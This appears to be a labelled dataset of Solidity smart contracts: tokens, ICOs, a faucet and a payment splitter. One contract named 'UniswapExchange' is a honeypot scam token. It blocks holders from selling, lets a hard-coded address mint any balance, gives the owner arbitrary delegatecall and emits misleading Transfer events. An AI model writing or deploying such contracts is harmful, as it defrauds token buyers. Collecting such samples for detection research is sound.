}
}
contract Bitcaritas is IndividualLockableToken, TokenDestructible {
using SafeMath for uint256;
string public constant name = "Bit caritas";
string public constant symbol = "BCT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 8800000000 * (10 ** uint256(decimals));
constructor()
public
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
}
} | 1 | 4,374 |
pragma solidity 0.5.7;
pragma experimental ABIEncoderV2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath::mul: Integer overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath::div: Invalid divisor zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath::sub: Integer underflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath::add: Integer overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath::mod: Invalid divisor zero");
return a % b;
}
}
contract Faucet {
using SafeMath for uint;
uint public constant BLOCK_REWARD = 1e18;
uint public START_BLOCK = block.number;
uint public END_BLOCK = block.number + 5000000;
IERC20 public humanity;
address public auction;
uint public lastMined = block.number;
constructor(IERC20 _humanity, address _auction) public {
humanity = _humanity;
auction = _auction;
}
function mine() public {
uint rewardBlock = block.number < END_BLOCK ? block.number : END_BLOCK;
uint reward = rewardBlock.sub(lastMined).mul(BLOCK_REWARD);
humanity.transfer(auction, reward);
lastMined = block.number;
}
} | 1 | 5,293 |
pragma solidity ^0.4.19;
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _tokenAmountApproved, address tokenMacroansy, bytes _extraData) public returns(bool success);
}
interface ICO {
function buy( uint payment, address buyer, bool isPreview) public returns(bool success, uint amount, uint retPayment);
function redeemCoin(uint256 amount, address redeemer, bool isPreview) public returns (bool success, uint redeemPayment);
function sell(uint256 amount, address seller, bool isPreview) public returns (bool success, uint sellPayment );
function paymentAction(uint paymentValue, address beneficiary, uint paytype) public returns(bool success);
function recvShrICO( address _spender, uint256 _value, uint ShrID) public returns (bool success);
function burn( uint256 value, bool unburn, uint totalSupplyStart, uint balOfOwner) public returns( bool success);
function getSCF() public returns(uint seriesCapFactorMulByTenPowerEighteen);
function getMinBal() public returns(uint minBalForAccnts_ );
function getAvlShares(bool show) public returns(uint totalSupplyOfCoinsInSeriesNow, uint coinsAvailableForSale, uint icoFunding);
}
interface Exchg{
function sell_Exchg_Reg( uint amntTkns, uint tknPrice, address seller) public returns(bool success);
function buy_Exchg_booking( address seller, uint amntTkns, uint tknPrice, address buyer, uint payment ) public returns(bool success);
function buy_Exchg_BkgChk( address seller, uint amntTkns, uint tknPrice, address buyer, uint payment) public returns(bool success);
function updateSeller( address seller, uint tknsApr, address buyer, uint payment) public returns(bool success);
function getExchgComisnMulByThousand() public returns(uint exchgCommissionMulByThousand_);
function viewSellOffersAtExchangeMacroansy(address seller, bool show) view public returns (uint sellersCoinAmountOffer, uint sellersPriceOfOneCoinInWEI, uint sellerBookedTime, address buyerWhoBooked, uint buyPaymentBooked, uint buyerBookedTime, uint exchgCommissionMulByThousand_);
}
contract TokenERC20Interface {
function totalSupply() public constant returns (uint coinLifeTimeTotalSupply);
function balanceOf(address tokenOwner) public constant returns (uint coinBalance);
function allowance(address tokenOwner, address spender) public constant returns (uint coinsRemaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address _from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed _from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract TokenMacroansyPower is TokenERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals = 3;
address internal owner;
address private beneficiaryFunds;
uint256 public totalSupply;
uint256 internal totalSupplyStart;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping( address => bool) internal frozenAccount;
mapping(address => uint) private msgSndr;
address internal tkn_addr; address internal ico_addr; address internal exchg_addr;
address internal cs_addr;
uint256 internal allowedIndividualShare;
uint256 internal allowedPublicShare;
bool public crowdSaleOpen;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event BurnOrUnBurn(address indexed from, uint amount, uint burnOrUnburn);
event FundOrPaymentTransfer(address beneficiary, uint amount);
function TokenMacroansyPower() public {
owner = msg.sender;
beneficiaryFunds = owner;
totalSupplyStart = 270000000 * 10** uint256(decimals);
totalSupply = totalSupplyStart;
balanceOf[msg.sender] = totalSupplyStart;
Transfer(address(0), msg.sender, totalSupplyStart);
name = "TokenMacroansyPower";
symbol = "$BEEPower";
allowedIndividualShare = uint(1)*totalSupplyStart/100;
allowedPublicShare = uint(20)* totalSupplyStart/100;
crowdSaleOpen = false;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOr(address _Or) public onlyOwner {
owner = _Or;
}
function totalSupply() constant public returns (uint coinLifeTimeTotalSupply) {
return totalSupply ;
}
function balanceOf(address tokenOwner) constant public returns (uint coinBalance) {
return balanceOf[tokenOwner];
}
function allowance(address tokenOwner, address spender) constant public returns (uint coinsRemaining) {
return allowance[tokenOwner][spender];
}
function setContrAddrAndCrwSale(bool setAddress, address icoAddr, address exchAddr, address csAddr, bool setCrowdSale, bool crowdSaleOpen_ ) public onlyOwner returns(bool success){
if(setAddress == true){
ico_addr = icoAddr; exchg_addr = exchAddr; cs_addr = csAddr;
}
if( setCrowdSale == true )crowdSaleOpen = crowdSaleOpen_;
return true;
}
function _getIcoAddr() internal returns(address ico_ma_addr){ return(ico_addr); }
function _getExchgAddr() internal returns(address exchg_ma_addr){ return(exchg_addr); }
function _getCsAddr() internal returns(address cs_ma_addr){ return(cs_addr); }
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
uint valtmp = _value;
uint _valueA = valtmp;
valtmp = 0;
require (balanceOf[_from] >= _valueA);
require (balanceOf[_to] + _valueA > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] = safeSub(balanceOf[_from], _valueA);
balanceOf[_to] = safeAdd(balanceOf[_to], _valueA);
Transfer(_from, _to, _valueA);
_valueA = 0;
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns(bool success) {
if(msg.sender != owner){
bool sucsSlrLmt = _chkSellerLmts( msg.sender, _value);
bool sucsByrLmt = _chkBuyerLmts( _to, _value);
require(sucsSlrLmt == true && sucsByrLmt == true);
}
uint valtmp = _value;
uint _valueTemp = valtmp;
valtmp = 0;
_transfer(msg.sender, _to, _valueTemp);
_valueTemp = 0;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint valtmp = _value;
uint _valueA = valtmp;
valtmp = 0;
require(_valueA <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _valueA);
_transfer(_from, _to, _valueA);
_valueA = 0;
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if(msg.sender != owner){
bool sucsSlrLmt = _chkSellerLmts( msg.sender, _value);
bool sucsByrLmt = _chkBuyerLmts( _spender, _value);
require(sucsSlrLmt == true && sucsByrLmt == true);
}
uint valtmp = _value;
uint _valueA = valtmp;
valtmp = 0;
allowance[msg.sender][_spender] = _valueA;
Approval(msg.sender, _spender, _valueA);
_valueA =0;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
uint valtmp = _value;
uint _valueA = valtmp;
valtmp = 0;
if (approve(_spender, _valueA)) {
spender.receiveApproval(msg.sender, _valueA, this, _extraData);
}
_valueA = 0;
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public returns(bool success) {
frozenAccount[target] = freeze;
return true;
}
function _safeTransferTkn( address _from, address _to, uint amount) internal returns(bool sucsTrTk){
uint tkA = amount;
uint tkAtemp = tkA;
tkA = 0;
_transfer(_from, _to, tkAtemp);
tkAtemp = 0;
return true;
}
function _safeTransferPaymnt( address paymentBenfcry, uint payment) internal returns(bool sucsTrPaymnt){
uint pA = payment;
uint paymentTemp = pA;
pA = 0;
paymentBenfcry.transfer(paymentTemp);
FundOrPaymentTransfer(paymentBenfcry, paymentTemp);
paymentTemp = 0;
return true;
}
function _safePaymentActionAtIco( uint payment, address paymentBenfcry, uint paytype) internal returns(bool success){
uint Pm = payment;
uint PmTemp = Pm;
Pm = 0;
ICO ico = ICO(_getIcoAddr());
bool pymActSucs = ico.paymentAction( PmTemp, paymentBenfcry, paytype);
require(pymActSucs == true);
PmTemp = 0;
return true;
}
function buyCoinsCrowdSale(address buyer, uint payment, address crowdSaleContr) public returns(bool success, uint retPayment) {
require(crowdSaleOpen == true && crowdSaleContr == _getCsAddr());
success = false;
(success , retPayment) = _buyCoins( buyer, payment);
require(success == true);
return (success, retPayment);
}
function _buyCoins(address buyer, uint payment) internal returns(bool success, uint retPayment) {
msgSndr[buyer] = payment;
ICO ico = ICO(_getIcoAddr() );
require( payment > 0 );
bool icosuccess; uint tknsBuyAppr;
(icosuccess, tknsBuyAppr, retPayment ) = ico.buy( payment, buyer, false);
require( icosuccess == true );
if(crowdSaleOpen == false) {
if( retPayment > 0 ) {
bool sucsTrPaymnt;
sucsTrPaymnt = _safeTransferPaymnt( buyer, retPayment );
require(sucsTrPaymnt == true );
}
}
bool sucsTrTk = _safeTransferTkn( owner, buyer, tknsBuyAppr);
require(sucsTrTk == true);
msgSndr[buyer] = 0;
return (true, retPayment);
}
function redeemOrSellCoinsToICO(uint enter1forRedeemOR2forSell, uint256 amountOfCoinPartsToRedeemOrSell) public returns (bool success ) {
require(crowdSaleOpen == false);
uint amount = amountOfCoinPartsToRedeemOrSell;
msgSndr[msg.sender] = amount;
bool isPreview = false;
ICO ico = ICO(_getIcoAddr());
bool icosuccess ; uint redeemOrSellPaymentValue;
if(enter1forRedeemOR2forSell == 1){
(icosuccess , redeemOrSellPaymentValue) = ico.redeemCoin( amount, msg.sender, isPreview);
}
if(enter1forRedeemOR2forSell == 2){
(icosuccess , redeemOrSellPaymentValue) = ico.sell( amount, msg.sender, isPreview);
}
require( icosuccess == true);
require( _getIcoAddr().balance >= safeAdd( ico.getMinBal() , redeemOrSellPaymentValue) );
bool sucsTrTk = false; bool pymActSucs = false;
if(isPreview == false) {
sucsTrTk = _safeTransferTkn( msg.sender, owner, amount);
require(sucsTrTk == true);
msgSndr[msg.sender] = redeemOrSellPaymentValue;
pymActSucs = _safePaymentActionAtIco( redeemOrSellPaymentValue, msg.sender, enter1forRedeemOR2forSell);
require(pymActSucs == true);
}
msgSndr[msg.sender] = 0;
return (true);
}
function _chkSellerLmts( address seller, uint amountOfCoinsSellerCanSell) internal returns(bool success){
uint amountTkns = amountOfCoinsSellerCanSell;
success = false;
ICO ico = ICO( _getIcoAddr() );
uint seriesCapFactor = ico.getSCF();
if( amountTkns <= balanceOf[seller] && balanceOf[seller] <= safeDiv(allowedIndividualShare*seriesCapFactor,10**18) ){
success = true;
}
return success;
}
function _chkBuyerLmts( address buyer, uint amountOfCoinsBuyerCanBuy) internal returns(bool success){
uint amountTkns = amountOfCoinsBuyerCanBuy;
success = false;
ICO ico = ICO( _getIcoAddr() );
uint seriesCapFactor = ico.getSCF();
if( amountTkns <= safeSub( safeDiv(allowedIndividualShare*seriesCapFactor,10**18), balanceOf[buyer] )) {
success = true;
}
return success;
}
function _chkBuyerLmtsAndFinl( address buyer, uint amountTkns, uint priceOfr) internal returns(bool success){
success = false;
bool sucs1 = false;
sucs1 = _chkBuyerLmts( buyer, amountTkns);
ICO ico = ICO( _getIcoAddr() );
bool sucs2 = false;
if( buyer.balance >= safeAdd( safeMul(amountTkns , priceOfr) , ico.getMinBal() ) ) sucs2 = true;
if( sucs1 == true && sucs2 == true) success = true;
return success;
}
function _slrByrLmtChk( address seller, uint amountTkns, uint priceOfr, address buyer) internal returns(bool success){
bool successSlrl;
(successSlrl) = _chkSellerLmts( seller, amountTkns);
bool successByrlAFinl;
(successByrlAFinl) = _chkBuyerLmtsAndFinl( buyer, amountTkns, priceOfr);
require( successSlrl == true && successByrlAFinl == true);
return true;
}
function () public payable {
if(msg.sender != owner){
require(crowdSaleOpen == false);
bool success = false;
uint retPayment;
(success , retPayment) = _buyCoins( msg.sender, msg.value);
require(success == true);
}
}
function burn( uint256 value, bool unburn) onlyOwner public returns( bool success ) {
require(crowdSaleOpen == false);
msgSndr[msg.sender] = value;
ICO ico = ICO( _getIcoAddr() );
if( unburn == false) {
balanceOf[owner] = safeSub( balanceOf[owner] , value);
totalSupply = safeSub( totalSupply, value);
BurnOrUnBurn(owner, value, 1);
}
if( unburn == true) {
balanceOf[owner] = safeAdd( balanceOf[owner] , value);
totalSupply = safeAdd( totalSupply , value);
BurnOrUnBurn(owner, value, 2);
}
bool icosuccess = ico.burn( value, unburn, totalSupplyStart, balanceOf[owner] );
require( icosuccess == true);
return true;
}
function withdrawFund(uint withdrawAmount) onlyOwner public returns(bool success) {
success = _withdraw(withdrawAmount);
return success;
}
function _withdraw(uint _withdrawAmount) internal returns(bool success) {
bool sucsTrPaymnt = _safeTransferPaymnt( beneficiaryFunds, _withdrawAmount);
require(sucsTrPaymnt == true);
return true;
}
function receiveICOcoins( uint256 amountOfCoinsToReceive, uint ShrID ) public returns (bool success){
require(crowdSaleOpen == false);
msgSndr[msg.sender] = amountOfCoinsToReceive;
ICO ico = ICO( _getIcoAddr() );
bool icosuccess;
icosuccess = ico.recvShrICO(msg.sender, amountOfCoinsToReceive, ShrID );
require (icosuccess == true);
bool sucsTrTk;
sucsTrTk = _safeTransferTkn( owner, msg.sender, amountOfCoinsToReceive);
require(sucsTrTk == true);
msgSndr[msg.sender] = 0;
return true;
}
function sellBkgAtExchg( uint sellerCoinPartsForSale, uint sellerPricePerCoinPartInWEI) public returns(bool success){
require(crowdSaleOpen == false);
uint amntTkns = sellerCoinPartsForSale;
uint tknPrice = sellerPricePerCoinPartInWEI;
bool successSlrl;
(successSlrl) = _chkSellerLmts( msg.sender, amntTkns);
require(successSlrl == true);
msgSndr[msg.sender] = amntTkns;
Exchg em = Exchg(_getExchgAddr());
bool emsuccess;
(emsuccess) = em.sell_Exchg_Reg( amntTkns, tknPrice, msg.sender );
require(emsuccess == true );
msgSndr[msg.sender] = 0;
return true;
}
function buyBkgAtExchg( address seller, uint sellerCoinPartsForSale, uint sellerPricePerCoinPartInWEI, uint myProposedPaymentInWEI) public returns(bool success){
require(crowdSaleOpen == false);
uint amountTkns = sellerCoinPartsForSale;
uint priceOfr = sellerPricePerCoinPartInWEI;
uint payment = myProposedPaymentInWEI;
uint tknsBuyAppr = 0;
if( amountTkns > 2 && payment >= (2 * priceOfr) && payment <= (amountTkns * priceOfr) ) {
tknsBuyAppr = safeDiv( payment , priceOfr );
}
require(tknsBuyAppr > 0);
msgSndr[msg.sender] = amountTkns;
bool sucsLmt = _slrByrLmtChk( seller, amountTkns, priceOfr, msg.sender);
require(sucsLmt == true);
Exchg em = Exchg(_getExchgAddr());
bool emBkgsuccess;
(emBkgsuccess)= em.buy_Exchg_booking( seller, amountTkns, priceOfr, msg.sender, payment);
require( emBkgsuccess == true );
msgSndr[msg.sender] = 0;
return true;
}
function buyCoinsAtExchg( address seller, uint sellerCoinPartsForSale, uint sellerPricePerCoinPartInWEI) payable public returns(bool success) {
require(crowdSaleOpen == false);
uint amountTkns = sellerCoinPartsForSale;
uint priceOfr = sellerPricePerCoinPartInWEI;
uint tknsBuyAppr = 0;
if( amountTkns > 2 && msg.value >= (2 * priceOfr) && msg.value <= (amountTkns * priceOfr) ) {
tknsBuyAppr = safeDiv( msg.value , priceOfr );
}
uint retPayment = 0;
if( msg.value > 0 ){
retPayment = safeSub( msg.value , tknsBuyAppr * priceOfr);
}
msgSndr[msg.sender] = amountTkns;
Exchg em = Exchg(_getExchgAddr());
bool sucsBkgChk = false;
if(tknsBuyAppr > 0){
sucsBkgChk = em.buy_Exchg_BkgChk(seller, amountTkns, priceOfr, msg.sender, msg.value);
}
if(sucsBkgChk == false) tknsBuyAppr = 0;
msgSndr[msg.sender] = tknsBuyAppr;
bool emUpdateSuccess;
(emUpdateSuccess) = em.updateSeller(seller, tknsBuyAppr, msg.sender, msg.value);
require( emUpdateSuccess == true );
if(sucsBkgChk == true && tknsBuyAppr > 0){
bool sucsTrTkn = _safeTransferTkn( seller, msg.sender, tknsBuyAppr);
require(sucsTrTkn == true);
bool sucsTrPaymnt;
sucsTrPaymnt = _safeTransferPaymnt( seller, safeSub( msg.value , safeDiv(msg.value*em.getExchgComisnMulByThousand(),1000) ) );
require(sucsTrPaymnt == true );
}
if( retPayment > 0 ) {
bool sucsTrRetPaymnt;
sucsTrRetPaymnt = _safeTransferPaymnt( msg.sender, retPayment );
require(sucsTrRetPaymnt == true );
}
msgSndr[msg.sender] = 0;
return true;
}
function sendMsgSndr(address caller, address origin) public returns(bool success, uint value){
(success, value) = _sendMsgSndr(caller, origin);
return(success, value);
}
function _sendMsgSndr(address caller, address origin) internal returns(bool success, uint value){
require( caller == _getIcoAddr() || caller == _getExchgAddr() || caller == _getCsAddr() );
return(true, msgSndr[origin]);
}
function viewSellOffersAtExchangeMacroansy(address seller, bool show) view public returns (uint sellersCoinAmountOffer, uint sellersPriceOfOneCoinInWEI, uint sellerBookedTime, address buyerWhoBooked, uint buyPaymentBooked, uint buyerBookedTime){
if(show == true){
Exchg em = Exchg(_getExchgAddr());
( sellersCoinAmountOffer, sellersPriceOfOneCoinInWEI, sellerBookedTime, buyerWhoBooked, buyPaymentBooked, buyerBookedTime, ) = em.viewSellOffersAtExchangeMacroansy( seller, show) ;
return ( sellersCoinAmountOffer, sellersPriceOfOneCoinInWEI, sellerBookedTime, buyerWhoBooked, buyPaymentBooked, buyerBookedTime);
}
}
function viewCoinSupplyAndFunding(bool show) public view returns(uint totalSupplyOfCoinsInSeriesNow, uint coinsAvailableForSale, uint icoFunding){
if(show == true){
ICO ico = ICO( _getIcoAddr() );
( totalSupplyOfCoinsInSeriesNow, coinsAvailableForSale, icoFunding) = ico.getAvlShares(show);
return( totalSupplyOfCoinsInSeriesNow, coinsAvailableForSale, icoFunding);
}
}
} | 0 | 2,113 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 27 |
pragma solidity ^0.4.0;
contract AgentContract {
address __owner;
address target;
mapping(address => uint256) agent_to_piece_of_10000;
address [] agents;
event SendEther(address addr, uint256 amount);
function AgentContract(address tar_main,address tar1,address tar2,uint256 stake1,uint256 stake2) public {
__owner = msg.sender;
agent_to_piece_of_10000[tar1] = stake1;
agents.push(tar1);
agent_to_piece_of_10000[tar2] = stake2;
agents.push(tar2);
target = tar_main;
}
function getTarget() public constant returns (address){
assert (msg.sender == __owner);
return target;
}
function listAgents() public constant returns (address []){
assert (msg.sender == __owner);
return agents;
}
function returnBalanseToTarget() public payable {
assert (msg.sender == __owner);
if (!target.send(this.balance)){
__owner.send(this.balance);
}
}
function() payable public {
uint256 summa = msg.value;
assert(summa >= 10000);
uint256 summa_rest = msg.value;
for (uint i=0; i<agents.length; i++){
uint256 piece_to_send = agent_to_piece_of_10000[agents[i]];
uint256 value_to_send = (summa * piece_to_send) / 10000;
summa_rest = summa_rest - value_to_send;
if (!agents[i].send(value_to_send)){
summa_rest = summa_rest + value_to_send;
}
else{
SendEther(agents[i], value_to_send);
}
}
if (!target.send(summa_rest)){
if (!msg.sender.send(summa_rest)){
__owner.send(summa_rest);
SendEther(__owner, summa_rest);
}
else{
SendEther(msg.sender, summa_rest);
}
}
else{
SendEther(target, summa_rest);
}
}
} | 0 | 2,040 |
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract ISncToken {
function mintTokens(address _to, uint256 _amount);
function totalSupply() constant returns (uint256 totalSupply);
}
contract SunContractIco is owned{
uint256 public startBlock;
uint256 public endBlock;
uint256 public minEthToRaise;
uint256 public maxEthToRaise;
uint256 public totalEthRaised;
address public multisigAddress;
ISncToken sncTokenContract;
mapping (address => bool) presaleContributorAllowance;
uint256 nextFreeParticipantIndex;
